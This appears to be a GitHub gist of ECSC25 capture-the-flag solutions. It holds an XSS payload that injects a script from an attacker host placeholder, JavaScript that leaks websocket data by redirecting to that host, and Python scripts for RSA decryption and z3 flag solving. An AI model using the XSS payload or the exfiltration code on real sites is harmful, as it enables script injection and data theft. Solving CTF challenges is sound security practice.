Skip to content

Instantly share code, notes, and snippets.

@nazywam
Created July 6, 2025 14:00
Show Gist options
  • Select an option

  • Save nazywam/be9c276ef5485b7bb9bd30d962e19fd8 to your computer and use it in GitHub Desktop.

Select an option

Save nazywam/be9c276ef5485b7bb9bd30d962e19fd8 to your computer and use it in GitHub Desktop.
ECSC25 solutions

Application is vulnerable to XSS:

Payload

[{"letter":"x","attributes":{"style":"animation: yellow", "onanimationend":"let script = document.createElement('script'); script.src = '{HOST}/payload.js'; document.head.appendChild(script);"}}]

Exfiltrate the flag using websocket connection

let remote = "certle.ecsc25.hack.cert.pl"

fetch(`https://${remote}/refresh`)

setTimeout(() => {
    let ws = new WebSocket(`wss://${remote}/ws`);

    ws.onmessage = function(event) {
        window.location = "http://{HOST}/" + event.data;
    };
    <!-- iterate over all flag characters, green = good, other = bad -->
    ws.onopen = function(event){
        const data = {
           answer: "ecsc25{blablabla"
        }
        ws.send(JSON.stringify(data));
    }

}, "1000");
# 0. the game is matching pairs by multiplying their identifiers and checking if a given modulus exists
# 1. recover all moduli and their ciphertexts
# 2. grab all primes from the program
# 3. match all known primes with moduli, crack the remaining ones with yafu - https://github.com/bbuhrow/yafu
# 4. decrypt all ciphertext to get the full flag
def exgcd(a, b):
old_s, s = 1, 0
old_t, t = 0, 1
while b:
q = a // b
s, old_s = old_s - q * s, s
t, old_t = old_t - q * t, t
a, b = b, a % b
return a, old_s, old_t
def invmod(e, m):
g, x, y = exgcd(e, m)
assert g == 1
if x < 0:
x += m
return x
def gcd(a, b):
while b:
a, b = b, a % b
return a
def lcm(a, b):
return a // gcd(a, b) * b
# [ciphertext, p, q]
chunks = [
[
538634309079148116363912301816926031930258573110799122862941,
885099533904372795874859687719,
1167170536952850475909418174911
],
[
562733309494608716994364770937828277740523146074677621141932,
778021292426438436606425112727,
1055301397731143498286103730113
],
[
319243791255303502020259161971610515049913374771288695699737,
1215072113218197541320209640371,
1038934092753097872730253139059
],
[
941629393855667943649547190044646980315269461850095508227115,
1033646404229761438304319507287,
1255561944672568469862862185019
],
[
914355749731699186791425204706414002614646261411469947941828,
1142600241573404407687535573629,
993312580651766761514801353103
],
[
558030107305255463640139626217118512514526900834839072384186,
892852023919058398648656968671,
1262714843670806964782879865877
],
[
251738364156397018723696894127984058119319062121032554046180,
646707326780153459647011532987,
813122100173370069804649439983
],
[
774165720938595325818024236038187794673577169187146034055752,
693661003419668078345820408199,
1253977927505847682354254592843
]
]
for ct, p, q in chunks:
e = 65537
t = lcm(p - 1, q - 1)
n = p * q
d = invmod(e, t)
decrypted = pow(ct, d, n)
print(decrypted.to_bytes(8))
from z3 import *
s = Solver()
def u64(arr):
x0, x1, x2, x3, x4, x5, x6, x7 = arr
return (((((((x7)*256 + x6)*256 + x5)*256 + x4)*256 + x3)*256 + x2)*256 + x1)* 256 + x0
def u32(arr):
x0, x1, x2, x3 = arr
return (((x3)*256 + x2)*256 + x1)*256 + x0
flag = []
for b in b"ecsc25{":
flag.append(b)
for i in range(7, 64 - 1):
x = BitVec(f'x{i}', 64)
s.add(UGE(x, ord(' ')))
s.add(ULE(x, ord('}')))
flag.append(x)
for b in b"}":
flag.append(b)
s.add(((u64(flag[0:][:8]) ^ u64(flag[8:][:8])) % (2 ** 64)) == 24284222086663690)
s.add(((u64(flag[16:][:8]) - u64(flag[24:][:8])) % (2 ** 64)) == 4966895267019667968)
s.add(((u64(flag[32:][:8]) + u64(flag[40:][:8])) % (2 ** 64)) == 11514253857381012439)
s.add(((u64(flag[48:][:8]) ^ u64(flag[56:][:8])) % (2 ** 64)) == 969192249525276428)
s.add(((u64(flag[4:][:8]) + u64(flag[12:][:8])) % (2 ** 64)) == 15123187461941405855)
s.add(((u64(flag[20:][:8]) - u64(flag[28:][:8])) % (2 ** 64)) == 339755678324094190)
s.add(((u64(flag[36:][:8]) + u64(flag[44:][:8])) % (2 ** 64)) == 10866865730893830368)
s.add(((u32(flag[0:][:4]) ^ u32(flag[52:][:4])) % (2 ** 32)) == 324930828)
s.add(((u32(flag[56:][:4]) ^ u32(flag[60:][:4])) % (2 ** 32)) == 406670395)
# additional
s.add(((u32(flag[20:][:4]) ^ u32(flag[24:][:4])) % (2 ** 32)) == 407837452)
s.add(((u32(flag[44:][:4]) ^ u32(flag[48:][:4])) % (2 ** 32)) == 1593969415)
print(s.check())
model = s.model()
output = []
for m in flag:
if type(m) is int:
output.append(m)
else:
char = int(str(model[m]))
output.append(char)
print(bytes(output).decode())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment